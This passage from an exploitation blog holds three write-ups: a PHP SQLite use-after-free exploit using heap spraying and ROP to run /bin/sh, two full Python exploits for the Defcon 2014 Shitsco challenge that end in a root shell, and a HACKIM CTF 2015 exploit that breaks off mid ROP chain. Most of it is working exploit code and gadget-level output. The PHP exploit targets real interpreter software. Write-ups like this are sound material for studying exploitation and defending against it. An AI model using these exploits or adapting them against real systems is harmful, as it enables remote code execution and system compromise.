    int i;
    for(i=0; inCursor; i++){
      VdbeCursor *pC = p->apCsr[i];
      if( pC ){
        sqlite3VdbeFreeCursor(p, pC);
        p->apCsr[i] = 0;
      }
    }
  }
  if( p->aMem ){ // skip this
    releaseMemArray(&p->aMem[1], p->nMem);
  }
  while( p->pDelFrame ){ // skip this
    VdbeFrame *pDel = p->pDelFrame;
    p->pDelFrame = pDel->pParent;
    sqlite3VdbeFrameDelete(pDel);
  }

  /* Delete any auxdata allocations made by the VM */
  if( p->pAuxData ) sqlite3VdbeDeleteAuxData(p, -1, 0); // take this path
  assert( p->pAuxData==0 );
}

void sqlite3VdbeDeleteAuxData(Vdbe *pVdbe, int iOp, int mask){
  AuxData **pp = &pVdbe->pAuxData;
  while( *pp ){
    AuxData *pAux = *pp;
    if( (iOp<0) || (pAux->iOp==iOp && (pAux->iArg>31 || !(mask & MASKBIT32(pAux->iArg)))))
      {
      
      if( pAux->xDelete ){
        pAux->xDelete(pAux->pAux); // EIP control
New code path is sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeDeleteAuxData -> pAux->xDelete(pAux->pAux) . This is far more easier to control Vdbe->pAuxData->xDelete

   struct Vdbe       struct sqlite3 [Also a gadget] 
[   sqlite3 *db    ]-------->[ AAAA ] 
[                  ]         [ AAAA ] 
[AuxData *pAuxData ]----|    [ AAAA ]  
[                  ]    |    [sqlite3_mutex *mutex] 
                           |
                           |   struct AuxData
                           |--->[       ]
                                [       ]
                                [       ]
                                [xDelete]

Our struct AuxData is very simple, we spray a single address throughout the heap, which is gadget mov dword [esp], edi ; call dword [edi+0x04]. Note that edi points to our vdbe struct ie sqlite3_stmt structure, which we have full control of. So sqlite3_stmt is given as first argument and we make the call [sqlite3_stmt+0x4].

At sqlite3_stmt+4 we have address of gadget pop esi; mov bh,0x03; pop esp; ret. Neat, we will pivot our stack back to our sqlite3_stmt.

But [sqlite3_stmt+0] points to sqlite3 *db struct, such that sqlite3_stmt->sqlite3->mutex should be NULL to avoid the mutex call. So we need to provide an address which will act both as valid struct as well as a neat gadget. This is what I got

gdb-peda$ x/3i 0x8093cbe
   0x8093cbe <_init+30>: add    esp,0x8
   0x8093cc1 <_init+33>: pop    ebx
   0x8093cc2 <_init+34>: ret    
gdb-peda$ x/4wx 0x8093cbe
0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
Now this gadget will land us right into execl("/bin/sh", NULL) after the stack pivot and hence code execution. Below is the exploit
<?php

error_reporting(0);

function pad($num){
    return str_repeat(pack("L", 0x00000000), $num);
}

$db_exp    = new SQLite3(':memory:');
$db_spray  = new SQLite3(':memory:');

$db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
$stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
$db_exp->close();

$pad = 298;
$fake_vdbe  = str_repeat(pack("L", 0xdeadbeef), $pad);
$fake_vdbe .= pack("L", 0x08093cbe);     # sqlite3 *db 

/* acts both as sqlite3 struct and gadget, db->mutex = NULL
gdb-peda$ x/3i 0x8093cbe
   0x8093cbe <_init+30>: add    esp,0x8
   0x8093cc1 <_init+33>: pop    ebx
   0x8093cc2 <_init+34>: ret    
gdb-peda$ x/4wx 0x8093cbe
0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
*/

$fake_vdbe .= pack("L", 0x086c2e16);     # pop esi;mov bh,0x03;pop esp;ret; stack pivot,called by sprayed gadget call dword [edi+0x04]
$fake_vdbe .= pad(2);

# payload
$fake_vdbe .= pack("L", 0x080965c0);     # execl("/bin/sh", NULL)
$fake_vdbe .= pack("L", 0xdeadbeef);
$fake_vdbe .= pack("L", 0x087c1548);
$fake_vdbe .= pack("L", 0x00000000);

$fake_vdbe .= pad(46);
$fake_vdbe .= pack("L", 0x0c0c0c0c);
$fake_vdbe .= str_repeat("A", 0x600 - strlen($fake_vdbe)); 

echo("[*] Reallocating freed memory". PHP_EOL);
/* heap spray */
for($i = 0; $i <= 300; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
}

echo("[*] Heap spraying the gadget". PHP_EOL);
$spray = str_repeat(pack("L", 0x08189c6f), 0x40000);  # mov dword [esp], edi ; call dword [edi+0x04]; edi points to vdbe struct

for($i = 0; $i <= 300; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($spray) . "')");
}
echo("[*] Triggering UAF to get shell". PHP_EOL);
$stmt_exp->reset();

?>
Thats a long writeup!

Tuesday, February 24, 2015

Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability - Remote Code Execution

Defcon Quals 2014 Shitsco was an interesting challenge. There were two vulnerability in the binary - strcmp information leak and an use-after-free. Challenge could be solved either of these, but getting an RCE seemed hard. Details of the vulnerability could be found here Defcon Quals 2014 - Gynophage - shitsco - [Use-After-Free Vulnerability]

To recap, the binary uses a doubly linked list to store KEY:VALUE pairs. The HEAD node resides in bss memory whose next pointer is not cleared during linked list operations. So this stray pointer points to some freed memory in heap, leading to use-after-free. This is what the structure looks like
struct node
{
    char *key;
    char *value;
    struct node *next;
    struct node *prev;
};
Exploit Primitive

[*] We can reallocate the freed struct node with user controlled data
[*] Information leak could be achieved by setting *key and *value to some static address to read interesting information
[*] This node needs to be deleted, so that further user controlled data could be placed here
[*] Trigger doubly linked list unlink operation

[next+0xc] = prev
[prev+0x8] = next

This gives us a write anything-anywhere primitive, but we have a problem - both next and prev pointers need to be writable. Also NX is enabled, so jumping to shellcode in writable area won't work
[*] Once unlink is done, free(key) and free(value) is called. key and value points to some static address like bss, these pointers do not belong to heap and not suitable for free operation. Glibc sanity checks will immediately abort the program execution and prevent any exploitation
[*] We need information leak and unlink as two separate operation, so that program won't crash after information leak

Problem

[*] Problem of both next and prev pointers being writable could be overcome by overwriting tls_dtor_list. Thanks to Google Project Zero for The poisoned NUL byte, 2014 edition
[*] The free being called with invalid pointers immediately after unlink operation is still a problem. This needs a bypass

I have 2 working solutions for this problem - Disabling glibc heap protection or by triggering an information leak and freeing the same chunk without crashing the program

Disabling glibc protection by overwriting check_action

Interestingly glibc provides features to control program behavior during a heap corruption. This could be passed as environment variable or set using mallopt(). Below is from the man page
The following numeric values are meaningful for M_CHECK_ACTION:

                   0  Ignore error conditions; continue execution (with
                      undefined results).

                   1  Print a detailed error message and continue execution.

                   2  Abort the program.

                   3  Print detailed error message, stack trace, and memory
                      mappings, and abort the program.

                   5  Print a simple error message and continue execution.

                   7  Print simple error message, stack trace, and memory
                      mappings, and abort the program.

              Since glibc 2.3.4, the default value for the M_CHECK_ACTION
              parameter is 3.  In glibc version 2.3.3 and earlier, the
              default value is 1.

The remaining bits in value are ignored.
malloc/malloc.c

# ifndef DEFAULT_CHECK_ACTION
# define DEFAULT_CHECK_ACTION 3
# endif

static int check_action = DEFAULT_CHECK_ACTION;

int __libc_mallopt (int param_number, int value)
{
.....
case M_CHECK_ACTION:
      LIBC_PROBE (memory_mallopt_check_action, 2, value, check_action);
      check_action = value;
      break;
.....
}
This gets called from malloc/arena.c

if (s && s[0])
    {
      __libc_mallopt (M_CHECK_ACTION, (int) (s[0] - '0'));
      if (check_action != 0)
        __malloc_check_init ();
    }

where s[0] is the value passed as MALLOC_CHECK_ environment variable.
So basically ptmalloc_init () sets up all these. check_action being a static variable resides at fixed offset from libc base address. If we could overwrite the check_action variable with some value which won't abort the program, we are good. This could be achieved even by an arbitrary NUL write.

Our target program provides an arbitrary write operation before the invalid free operations. So the idea here is to overwrite the check_action with an valid writable address[ Remember, both next and prev pointer should be valid writable address]. Remaining bits in check_action are ignored.

Libc ASLR bypass

But we still don't know where the check_action resides during execution except for the offset and information leak is not useful for first unlink operation. Since its an 32 bit ELF, libc randomization is limited to 8 bits. So one can brute force this value even over network. Heap has better randomization [greater than 12 bits].
renorobert@ubuntu:~$ ldd ./shitsco | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf751e000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75e7000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75f4000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75c6000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75b5000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf751a000)
Since the program is not forked, we will choose a libc base address for our exploit and wait until we get lucky.

Exploitation

To exploit this binary we setup the following list
HEAD NODE      UAF CHUNK

[ KEY   ]       |--->[ KEY   ] --> bss address of some fixed string eg. 'set'
[ VALUE ]       |    [ VALUE ] --> bss address of head node for info leak
[ NEXT  ] ------|    [ NEXT  ] --> valid writable address, such that last 3 bits are 0 
[ PREV  ]            [ PREV  ] --> check_action - 8
The reallocation of freed chunk was done by trial and error, by setting and unsetting values. We have better control of this in 2nd solution
Operation supported:

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
======================================
Type ? followed by a command for more detailed information

$ show set
$ set set
The 'show set' will trigger information leak and 'set set' will unlink the node and disable sanity checks.

Since the chunk is unlinked and freed, we reallocate the same with user controlled data. This time we unlink the node to overwrite the tls_dtor_list with address of fake dtor_list setup in heap[We already have information leak] to call system('/bin/sh').
HEAD NODE      UAF CHUNK

[ KEY   ]       |--->[ KEY   ] --> bss address of some fixed string eg. 'set'
[ VALUE ]       |    [ VALUE ] --> something here
[ NEXT  ] ------|    [ NEXT  ] --> fake dtor_list structure address 
[ PREV  ]            [ PREV  ] --> tls_dtor_list address - 8
Below is the full exploit:
#!/usr/bin/env python

import struct
import telnetlib
from sys import exit
import time

ip = '127.0.0.1'
port = 31337
port = 513

def p(num): return struct.pack("<I", num)

def send(command):
    global con
    con.write(command + chr(0xa))
    return con.read_until('$ ')

# pointer to string set, to be used as key in fake structure
set_string = 0x08049B08
# pointer to sh string -> /bin/sh 
sh_string = 0x080483BD 
# writable address from bss
fake_struct = 0x0804C3C0 
# head node of doubly linked list, to be used for info leak
bss_head_node = 0x0804C36C 
# MALLOC_CHECK_ offset to be added with libc base address
check_action_offset = 0x1AB10C
# tls_dtor_list offset to be subtracted from libc base address
tls_dtor_list_offset = 0x6EC
# offset to system()
system_offset = 0x00040190
# libc_base_address needs to be bruteforced
libc_base_address = 0xf75e1000

print "[*] Bruteforcing libc base address"
while True:
    try:
        con = telnetlib.Telnet(ip, port)
        con.read_until('$ ')
        malloc_check_action = libc_base_address + check_action_offset

        # fake structure for leaking heap memory and disable glibc heap protection
        fakeobj  = p(set_string)
        fakeobj += p(bss_head_node)
        fakeobj += p(fake_struct)
        fakeobj += p(malloc_check_action - 8)

        send('set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA1 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA3 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA0')
        send('set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA1')
        send('set AAAAAAAAAAAAAAA3')
        send('set CCCCCCCCCCCCCCCC ' + fakeobj)

        # trigger information leak
        laddress = send('show set')
        laddress = laddress[5:-3]
        heapa, heapb, heapc = struct.unpack("<III", laddress)
        print "[*] Leaked heap addresses : [0x%x] [0x%x] [0x%x]" %(heapa, heapb, heapc)

        # free allocated memory and overwrite check_option 
        print "[*] Trying check_action overwrite"
        ret = send('set set')
        if '$' not in ret: continue
        print "[*] Overwritten check_action to disable sanity checks"
 
        # address of fake dtor_list
        dtor_list_address = heapa + 0xa8

        # fake object to be used for overwriting tls_dtor_list
        fakeobj  = p(set_string)
        fakeobj += p(set_string)
        fakeobj += p(dtor_list_address)
        fakeobj += p(libc_base_address - tls_dtor_list_offset - 8)

        # fake dtor_list
        dtor_list  = p(libc_base_address + system_offset) # system
        dtor_list += p(sh_string)    # sh
        dtor_list += p(0xdeadbeef)
        dtor_list += p(0xdeadbeef)

        send('set AAAAAAAAAAAAAAA0')
        send('set AAAAAAAAAAAAAAA1 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA1')
        send('set ' + dtor_list + ' ' + fakeobj)

        # overwrite tls_dtor_list
        print "[*] Overwriting tls_dtor_list"
        send('set set')

        # get shell
        print "[*] Getting shell"
        con.write('quit\n')
        try: con.interact()
        except: exit(0)
    except: continue
We will get shell when right libc address is hit.
[*] Leaked heap addresses : [0x826f060] [0x826f030] [0x826f078]
[*] Trying check_action overwrite
[*] Leaked heap addresses : [0x927a060] [0x927a030] [0x927a078]
[*] Trying check_action overwrite
[*] Leaked heap addresses : [0x88ce060] [0x88ce030] [0x88ce078]
[*] Trying check_action overwrite
[*] Leaked heap addresses : [0x9504060] [0x9504030] [0x9504078]
[*] Trying check_action overwrite
[*] Leaked heap addresses : [0x9e81060] [0x9e81030] [0x9e81078]
[*] Trying check_action overwrite
[*] Overwritten check_action to disable sanity checks
[*] Overwriting tls_dtor_list
[*] Getting shell
id
uid=0(root) gid=0(root) groups=0(root)
Triggering information leak by Fast bin alignment

This is the second solution for the challenge which doesn't require brute force or check_action overwrite. We rely only on info leaks and some heap operations. The binary allocates heap chunks in 2 sizes - 16 and 24 bytes. Since the KEY:VALUE string is also restricted to 16 bytes.
gdb-peda$ run

 oooooooo8 oooo        o88    o8                                       
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo   
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888 
        888 888   888   888  888           888 888         888     888 
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88   
                                                                       
Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ set A AAAAAAAAAAAAAAAA
$ set B BBBBBBBBBBBBBBBB
$ ^C

gdb-peda$ python import heap
gdb-peda$ heap used
Used chunks of memory on heap
-----------------------------
     0: 0x0804d008 -> 0x0804d01f       24 bytes uncategorized::24 bytes |28 d0 04 08 30 d0 04 08 00 00 00 00 65 00 00 00 00 00 00 07 11 00 00 00 00 00 00 00 00 00 00 00 |(...0.......e...................|
     1: 0x0804d020 -> 0x0804d02f       16 bytes uncategorized::16 bytes |00 00 00 00 00 00 00 00 00 00 00 09 19 00 00 00 00 00 00 00 42 42 42 42 42 42 42 42 42 42 42 42 |....................BBBBBBBBBBBB|
     2: 0x0804d030 -> 0x0804d047       24 bytes uncategorized::24 bytes |00 00 00 00 42 42 42 42 42 42 42 42 42 42 42 42 00 60 ff 02 11 00 00 00 41 00 92 00 00 00 00 00 |....BBBBBBBBBBBB. ......A.......|
     3: 0x0804d048 -> 0x0804d057       16 bytes uncategorized::16 bytes |41 00 92 00 00 00 00 00 a0 d0 04 09 19 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |A...............AAAAAAAAAAAAAAAA|
     4: 0x0804d058 -> 0x0804d06f       24 bytes   C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 90 00 02 19 00 00 00 88 d0 04 08 98 d0 04 08 |AAAAAAAAAAAAAAAA................|
     5: 0x0804d070 -> 0x0804d087       24 bytes uncategorized::24 bytes |88 d0 04 08 98 d0 04 08 00 00 00 00 6c c3 04 08 97 00 00 03 11 00 00 00 42 00 8a 00 00 00 00 00 |............l...........B.......|
     6: 0x0804d088 -> 0x0804d097       16 bytes uncategorized::16 bytes |42 00 8a 00 00 00 00 00 00 00 00 09 19 00 00 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 |B...............BBBBBBBBBBBBBBBB|
     7: 0x0804d098 -> 0x0804d0af       24 bytes   C:string data:None |42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 00 88 00 02 59 0f 02 00 00 00 00 00 00 00 00 00 |BBBBBBBBBBBBBBBB....Y...........|
User allocations of size 8 goes into fast bin of 16 bytes, and anything above till 16 bytes goes into fast bins of size 24 bytes. doubly-linked list nodes are also part of fast bins of size 24. So in the UAF reallocation, one needs to create allocations in the fast bins list of 24 bytes.

Fast bins have singly-list, the last freed node is inserted as head. On request, it returns a pointer to the first free chunk ie the head. So basically, last freed node is allocated first on request.

Now, the binary requests series of heap chunks like below:

HEAD Node
[*] Head node is in bss. So no heap memory is requested for this chunk
[*] There is 2 strdup calls, to copy user supplied KEY and VALUE into heap. This is used for further processing
[*] Then 2 more strdup calls to setup final pointers for KEY and VALUE for each node
[*] Then first 2 strdup are freed

OTHER Nodes
[*] There is 2 strdup calls, to copy user supplied KEY and VALUE into heap. This is used for further processing
[*] calloc[16 bytes] for struct node
[*] Then 2 more strdup calls to setup final pointers for KEY and VALUE for each node
[*] Then first 2 strdup are freed

Below is ltrace for clarity:
HEAD
[0x8048b68] __strdup(0xffffceb0, 0x8049b08, 3, 0xf7ef9a10)    = 0x804d020
[0x8048b68] __strdup(0xffffceb2, 0x8049b08, 3, 0xf7ef9a10)    = 0x804d030
[0x8049030] __strdup(0x804d020, 17, 0x804c2d8, 0xf7e760ff)    = 0x804d048
[0x804903d] __strdup(0x804d030, 17, 0x804c2d8, 0xf7e760ff)    = 0x804d058
[0x80490ab] free(0x804d020)                                   
[0x80490ab] free(0x804d030)                                   

NEXT
[0x8048b68] __strdup(0xffffceb0, 0x8049b08, 3, 0xf7ef9a10)    = 0x804d020
[0x8048b68] __strdup(0xffffceb2, 0x8049b08, 3, 0xf7ef9a10)    = 0x804d030
[0x8048fcc] calloc(1, 16)                                     = 0x804d070
[0x8048fdc] __strdup(0x804d020, 16, 0x804c2d8, 0xf7e760ff)    = 0x804d088
[0x8048fe6] __strdup(0x804d030, 16, 0x804c2d8, 0xf7e760ff)    = 0x804d098
[0x80490ab] free(0x804d020)                                   
[0x80490ab] free(0x804d030)                                   
So whats the whole plan with these information? We need to modify the fast bin linked list such that both *value and *next pointer of HEAD node points to the same memory ie value for HEAD node should get allocated in the stray next pointer. Right now this is how the HEAD node looks like:
gdb-peda$ x/4wx 0x0804C36C
0x804c36c: 0x0804d048 0x0804d058 0x0804d070 0x00000000

where 0x0804d048 -> key
      0x0804d058 -> value
      0x0804d070 -> next
      0x00000000 -> prev 
This is what we need to achieve:
HEAD NODE      UAF CHUNK

[ KEY   ]    |--|--->[ KEY   ] --> bss address of some fixed string eg. 'set'
[ VALUE ] ---|  |    [ VALUE ] --> bss address of head node for info leak
[ NEXT  ] ------|    [ NEXT  ] --> something here 
[ PREV  ]            [ PREV  ] --> something here

char * value and struct node *next both are pointing to same memory
So what do we achive using this? By using 'show' command, we get information leak since the 'next' pointer will iterate into UAF chunk. The same UAF chunk could be freed by freeing HEAD node, since UAF chunk is a value pointer for HEAD node.

Now, though we dont have valid pointers to be set up in UAF chunk we could free it for further allocation without running into glibc heap checks. Below is a series of operation that could align fast bins [24] as we need:
Series of operation to modify fast bin list of size 24

set A AAAAAAAAAAAAAAAA
[strdup] 0x804d030
[valueA] 0x804d058

set B BBBBBBBBBBBBBBBB
[strdup]  0x804d030
[valueA]  0x804d058  
[allocB]  0x804d070 ; we need to control this memory, this memory should be second last to be freed
[valueB]  0x804d098

set A
[strdup - free] 0x804d030
[freeA]  0x804d058
[allocB]  0x804d070 
[valueB]  0x804d098

set B
[strdup - free] 0x804d030
[freeA]  0x804d058
[freeB2] 0x804d070
[freeB1] 0x804d098

set A AAAAAAAAAAAAAAAA
[strdup] 0x804d070
[valueA] 0x804d098

set A
[strdup - free] 0x804d070
[freeA]  0x804d098

set B BBBBBBBBBBBBBBBB
[strdup] 0x804d098
[valueB] 0x804d070 ; reallocated with BBBBBBBBBBBBBBBB

gdb-peda$ x/4x 0x0804C36C
0x804c36c: 0x0804d080 0x0804d068 0x0804d068 0x00000000
Exploitation

[*] Use the above series of operation to leak heap address
[*] Then use the same for leaking GOT entry of __libc_start_main to find the libc base address
[*] Setup a fake dtor_list to call system('sh')
[*] Setup a fake node with valid heap pointers for free() operation and addresses for tls_dtor_list overwrite
[*] Trigger unlink to overwrite tls_dtor_list and get shell

Below is the exploit
#!/usr/bin/env python

import struct
import telnetlib
from sys import exit

ip = '127.0.0.1'
port = 31337
port = 513

con = telnetlib.Telnet(ip, port)
con.read_until('$ ')

def p(num): return struct.pack("<I", num)

def send(command):
    global con
    con.write(command + chr(0xa))
    return con.read_until('$ ')

# pointer to string set, to be used as key in fake structure
set_string = 0x08049B08
# pointer to sh string -> /bin/sh 
sh_string = 0x080483BD 
# writable address from bss
fake_struct = 0x0804C3C0 
# head node of doubly linked list, to be used for info leak
bss_head_node = 0x0804C36C 
# GOT entry of __libc_start_main, to be used for info leak
libc_start_main = 0x0804C03C
# MALLOC_CHECK_ offset to be added with libc base address
check_action_offset = 0x1AB10C
# tls_dtor_list offset to be subtracted from libc base address
tls_dtor_list_offset = 0x6EC
# libc_start_main offset used to find libc base address
libc_start_main_offset = 0x00019990
# offset to system()
system_offset = 0x00040190


# fake structure for leaking heap memory
fakeobj  = p(set_string)
fakeobj += p(bss_head_node)
fakeobj += p(fake_struct)
fakeobj += p(fake_struct)

send('set A AAAAAAAAAAAAAAAA')
send('set B AAAAAAAAAAAAAAAA')
# will be used as pointers to be freed while overwriting tls_dtor_list
send('set C CCCCCCCCCCCCCCCC')
send('set A')
send('set B')
send('set A AAAAAAAAAAAAAAAA')
send('set A')
# fake object will take the next pointer of head node
send('set B ' + fakeobj)

# trigger info leak to get heap address
laddress = send('show set')
laddress = laddress[5:-3]
heapa, heapb, heapc = struct.unpack("<III", laddress)
print "[*] Leaked heap addresses : [0x%x] [0x%x] [0x%x]" %(heapa, heapb, heapc)

# free the memory
send('set B')

# leak the libc address
fakeobj  = p(set_string)
fakeobj += p(libc_start_main)
fakeobj += p(fake_struct)
fakeobj += p(fake_struct)

send('set A AAAAAAAAAAAAAAAA')
send('set A')
# fake object will take the next pointer of head node
send('set B ' + fakeobj)
# trigger info leak to get libc address
laddress = send('show set')
laddress = laddress[5:5+4]
leaked_libc_start_main = struct.unpack("<I", laddress)[0]

print "[*] Leaked address of __libc_start_main : [0x%x]" %(leaked_libc_start_main)

libc_base_address = leaked_libc_start_main - libc_start_main_offset
print "[*] Address of libc_base_address : [0x%x]" %(libc_base_address)
# check_action overwrite not used for this exploit
print "[*] Address of check_action      : [0x%x]" %(libc_base_address + check_action_offset)

tls_dtor_list_address = libc_base_address - tls_dtor_list_offset
print "[*] Address of tls_dtor_list     : [0x%x]" %(tls_dtor_list_address)

# free the memory
send('set B')

# overwrite tls_dtor_list

# points to C
freea = heapa + 0x40
# points to CCCCCCCCCCCCCCCC
freeb = heapa + 0x50
# points to fake tls_dtor_list with pointer to system('/bin/sh')
fake_tls_dtor_list = heapa - 0x30
# points to fake object
ptr_to_fake_obj = heapa - 0x58

fakeobj  = p(freea)
fakeobj += p(freeb)
fakeobj += p(tls_dtor_list_address - 12)
fakeobj += p(fake_tls_dtor_list)

dtor_list  = p(libc_base_address + system_offset) # system
dtor_list += p(sh_string)    # sh
dtor_list += p(ptr_to_fake_obj) 
dtor_list += p(0xdeadbeef)

send('set ' + dtor_list + ' ' + fakeobj)

# trigger the overwrite
print "[*] Overwriting tls_dtor_list"
send('set C')

# get shell
print "[*] Getting shell"
con.write('quit\n')
try: con.interact()
except: exit(0)
renorobert@ubuntu:~$ python shitsco_sploit.py 
[*] Leaked heap addresses : [0x86b3080] [0x86b3068] [0x86b3068]
[*] Leaked address of __libc_start_main : [0xf751d990]
[*] Address of libc_base_address : [0xf7504000]
[*] Address of check_action      : [0xf76af10c]
[*] Address of tls_dtor_list     : [0xf7503914]
[*] Overwriting tls_dtor_list
[*] Getting shell
id
uid=0(root) gid=0(root) groups=0(root)
So we got two working exploits - One by check_action overwrite and another by triggering information leak by aligning heap chunks based on fast bin operation.

Friday, January 16, 2015

HACKIM CTF 2015 - Exploitation 5

Binary implements a circular linked list to store key:value pair. Each chunk is 32 bytes which looks like below
struct node{
    char key[16];
    int size;
    char *value;
    struct node *next;
    struct node *prev;
}
Vulnerability is similar to exploitation 4, size of value chunk is allocated based on user input and size info is stored. But during edit, this size info is not checked and one could overflow into adjacent chunk. To place the value chunk of 1st node right before 2nd note, I allocated it to be 32 byte similar to size of struct node. Now overflowing value chunk will overwrite pointers in 2nd node.

get@0x08048A6A feature provides a write anything anywhere primitive

*(_DWORD *)(*((_DWORD *)ptr_to_head + 6) + 28) = *((_DWORD *)ptr_to_head + 7); //current->next->previous = current->previous

*(_DWORD *)(*((_DWORD *)ptr_to_head + 7) + 24) = *((_DWORD *)ptr_to_head + 6); // current->previous->next = current->next
But NX is enabled, making above primitive hard as both the address needs to be writable. We have better primitive in edit@0x08048BDB feature. By overwriting value pointer, we could read() into arbitrary address. So the idea is to overwrite 3rd DWORD with address of some GOT entry.

Stack Pivot

I couldn't find any proper way to pivot stack into heap for ROP. So I used fgets() to overflow stack and make ESP point to user controlled buffer. Below is the idea

[*] Overwrite GOT entry of some function with address of text segment to setup fgets() call.
.text:08048E6C                 mov     eax, ds:stdin
.text:08048E71                 mov     [esp+8], eax    ; stream
.text:08048E75                 mov     dword ptr [esp+4], 255 ; n
.text:08048E7D                 lea     eax, [ebp+s]    ; lea  eax,[ebp-0x10c] 
.text:08048E83                 mov     [esp], eax      ; s
.text:08048E86                 call    _fgets  
[*] The lea eax,[ebp-0x10c] will end up in address lower in stack than the current stack frame, if the function has smaller stack frame
[*] Copying data into this stack might end up overwriting saved EIP before fgets() returns from libc

I decided to overwrite strncmp function, which gets called at 0x08048D59. This function has a small stack, thereby fgets overflows inside libc.
gdb-peda$ x/30x 0xfffa5fa4
0xfffa5fa4: 0xf760d483 0xf76dd000 0xf76ddc20 0x000000fe
0xfffa5fb4: 0xf76ddc20 0xf75a33e9 0x43434343 0x43434343
0xfffa5fc4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5fd4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5fe4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5ff4: 0x0a434343 0xf759748b 0xfffa5fbd 0xf76ff001
0xfffa6004: 0x0000003b 0x0000000e 0x0000000a 0x00000001
0xfffa6014: 0xfffa5fbd 0xf76ff03c
gdb-peda$ x/i 0xf759748b
   0xf759748b <_IO_getline_info+283>: mov    ecx,DWORD PTR [esp+0x1c]
64 bytes will overwrite the saved return address to _IO_getline_info. One can use ret as NOP if the offsets vary in remote machine.

Then libc address could be leaked and system@libc could be called to get shell

Below is the full exploit:
#!/usr/bin/env

import socket
import telnetlib
import struct
import time

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9005

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

msg = dict()
msg['SELECT']  = 'Select op (store/get/edit/exit): '
msg['NAME']    = 'Name: '
msg['SIZE']    = 'Size: '
msg['DATA']    = 'Enter data: '
msg['NEWDATA'] = 'Enter new data: '
msg['INVALID'] = 'Invalid input\n'

def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
        rbuffer += soc.recv(1)
    return rbuffer

def send_msg(m):
    global soc
    soc.send(m + chr(0xa))

# create first note
print "[*] Creating 1st node"
recv_msg(msg['SELECT'])
send_msg('store')
recv_msg(msg['NAME'])
send_msg('A')
recv_msg(msg['SIZE'])
send_msg('32')
recv_msg(msg['DATA'])
send_msg('AAAA')
send_msg('')

# create second note
print "[*] Creating 2nd node"
recv_msg(msg['SELECT'])
send_msg('store')
recv_msg(msg['NAME'])
send_msg('B')
recv_msg(msg['SIZE'])
send_msg('32')
recv_msg(msg['DATA'])
send_msg('BBBB')
send_msg('')

#edit first note to overflow into second note
print "[*] Overflowing into 2nd node, setting up strncmp() for overwrite"
recv_msg(msg['SELECT'])
send_msg('edit')
recv_msg(msg['NAME'])
send_msg('A')
recv_msg(msg['SIZE'])
send_msg('256')
recv_msg(msg['NEWDATA'])

got_strncmp = 0x0804b058
payload  = "H" * 40     # overflow
payload += "B" + chr(0)*15                # key
payload += struct.pack("<I", 32)    # size
payload += struct.pack("<I", got_strncmp) # ptr to value, overwrite with GOT entry of strncmp

send_msg(payload)
recv_msg(msg['INVALID'])

#edit second note to trigger the crash
print "[*] Overwriting strncmp() to pivot stack using fgets()"
recv_msg(msg['SELECT']) 
send_msg('edit')
recv_msg(msg['NAME'])
send_msg('B')
recv_msg(msg['SIZE'])
send_msg('256')
recv_msg(msg['NEWDATA'])
fgets_ret = 0x08048E6C
send_msg(struct.pack("<I", fgets_ret)) # pivot stack by overflowing stack inside fgets

# trigger stack based buffer overflow
print "[*] Creating buffer overflow inside fgets()"
recv_msg(msg['SELECT']) 


got_libc_start_main= 0x0804b044
rop  = "C"*60
# read GOT entry of __libc_start_main
rop += struct.pack("<I", 0x080486c6) # write@plt+6
rop += struct.pack("<I", 0x08048f4d) # pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<I", 0x00000001)
rop += struct.pack("<I", got_libc_start_main)
rop += struct.pack("<I", 0x00000004)

# overwrite GOT entry of strcmp with system()
rop += struct.pack("<I", 0x080485e6) # read@plt+6
rop += struct.pack("<I", 0x08048f4d) # pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<I", 0x00000000)
rop += struct.pack("<I", 0x0804b00c)
rop += struct.pack("<I", 0x00000004)
sh_string = 0x8048386
rop += struct.pack("<I", 0x080485d0) # plt@strcmp
